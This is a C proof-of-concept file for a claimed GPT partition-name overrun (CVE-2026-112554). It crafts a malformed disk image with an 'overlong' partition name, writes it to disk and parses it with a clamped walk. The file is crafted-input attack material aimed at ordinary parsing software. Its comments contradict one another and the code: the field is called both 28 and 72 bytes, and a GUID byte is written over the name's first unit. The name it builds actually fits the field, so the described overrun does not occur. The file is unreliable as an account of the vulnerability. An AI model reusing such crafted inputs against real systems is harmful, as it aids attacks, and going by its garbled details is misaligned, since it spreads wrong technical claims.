// kext.gpt · ApplePartitionParser · GPT partition name field · CVE-2026-112554 // GPT partition name overrun scan boundary // C twin of the Swift POC: builds the overlong-name GPT image (36 UTF-16 units = 72 B // in a 28-B field), then parses it with the same clamped describe walk the app uses. // 27.0 scans the name field up to 0x48 = 72 B; 27.2 tightens to 0x24 = 36 B. // Build: clang -O2 -o cve-2026-112554 CVE-2026-112554.c // Run: ./cve-2026-112554 [entry-count] #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } // ── seed construction (from Cinder27 Sources: GPTPayload.oversizedName) ── // the name field is 36 UTF-16 code units = 72 bytes; the type GUID starts 56 bytes // into the entry, so a full-length name runs 16 bytes past the field into nothing static buf gpt_oversized_name(int entry_count) { const size_t sector = 512; buf out = {0}; // protective MBR uint8_t mbr[512] = {0}; mbr[446 + 4] = 0xEE; mbr[446 + 5] = 0xFF; mbr[446 + 6] = 0xFF; mbr[446 + 7] = 0xFF; mbr[446 + 8] = 0x01; uint32_t total_sectors = 34; mbr[446 + 12] = total_sectors & 0xff; mbr[446 + 13] = (total_sectors >> 8) & 0xff; mbr[446 + 14] = (total_sectors >> 16) & 0xff; mbr[446 + 15] = (total_sectors >> 24) & 0xff; mbr[510] = 0x55; mbr[511] = 0xAA; bcat(&out, mbr, sector); // primary GPT header uint8_t hdr[512] = {0}; memcpy(hdr, "EFI PART", 8); hdr[8] = 0; hdr[9] = 0; hdr[10] = 1; hdr[11] = 0; // revision 1.0 uint32_t header_size = 92; hdr[12] = header_size & 0xff; hdr[13] = 0; hdr[24] = 2; // my LBA hdr[32] = 33; // alternate LBA hdr[40] = 2; // first usable hdr[48] = 32; // last usable hdr[72] = 2; // entry array LBA uint32_t entries = (uint32_t)entry_count; hdr[80] = entries & 0xff; hdr[84] = 128; // entry size bcat(&out, hdr, sector); // partition entries: type GUID + 16-byte name in a 72-byte-declared field const char *name = "CINDER27-OVERLONG-PARTITION-NAME"; size_t name_units = strlen(name); for (int i = 0; i < entry_count; i++) { uint8_t entry[128] = {0}; entry[0] = 0xA2; entry[1] = 0xA0; entry[2] = 0xD0; entry[3] = 0xEB; entry[56] = (uint8_t)(i + 1); // unique partition GUID byte for (size_t k = 0; k < name_units; k++) { if (56 + k * 2 + 1 >= 128) break; entry[56 + k * 2] = (uint8_t)name[k]; entry[56 + k * 2 + 1] = 0; // UTF-16LE } bcat(&out, entry, 128); } while (out.n % sector != 0) bput(&out, 0); return out; } // ── trigger: clamped describe walk (mirror of GPTPayload.describe) ── static void describe(const buf *image) { if (image->n < 1024) { printf("image too short\n"); return; } const uint8_t *d = image->d; if (memcmp(d + 512, "EFI PART", 8) != 0) { printf("no GPT signature\n"); return; } // attacker-controlled header fields, clamped to the image we already hold uint64_t entry_lba = 0, u; for (int k = 0; k < 8; k++) { u = d[512 + 72 + k]; entry_lba |= u << (8 * k); } uint32_t entry_count = d[512 + 80] | (d[512 + 81] << 8) | (d[512 + 82] << 16) | ((uint32_t)d[512 + 83] << 24); uint32_t entry_size = d[512 + 84] | (d[512 + 85] << 8) | (d[512 + 86] << 16) | ((uint32_t)d[512 + 87] << 24); uint64_t safe_lba = entry_lba > 0 && entry_lba < (uint64_t)(image->n / 512) ? entry_lba : 0; uint32_t safe_count = entry_count < 4096 ? entry_count : 4096; uint32_t safe_size = entry_size > 0 && entry_size <= 512 ? entry_size : 128; printf("GPT header: entry LBA %llu · %u entries · %u B each\n", (unsigned long long)entry_lba, entry_count, entry_size); size_t base = (size_t)safe_lba * 512; for (uint32_t i = 0; i < safe_count; i++) { size_t off = base + (size_t)i * safe_size; if (off + 128 > image->n) break; // name field at +56, 36 UTF-16 code units; 27.0 scans 0x48 B, 27.2 stops at 0x24 B char name[37] = {0}; for (int k = 0; k < 36; k++) { uint16_t unit = (uint16_t)(d[off + 56 + k * 2] | (d[off + 56 + k * 2 + 1] << 8)); if (unit == 0) break; name[k] = (char)(unit < 0x80 ? unit : '?'); } if (name[0]) printf(" partition %u: %s\n", i, name); } } int main(int argc, char **argv) { int entry_count = argc > 1 ? atoi(argv[1]) : 4; buf image = gpt_oversized_name(entry_count); FILE *f = fopen("gpt_overlong_name.img", "wb"); if (f) { fwrite(image.d, 1, image.n, f); fclose(f); } printf("CVE-2026-112554 · %zu B · %d entries · name field 36 units / 72 B\n", image.n, entry_count); describe(&image); printf("27.0 scans the name run to 0x48 = 72 B; 27.2 tightens to 0x24 = 36 B\n"); printf("seed: gpt_overlong_name.img\n"); bfree(&image); return 0; }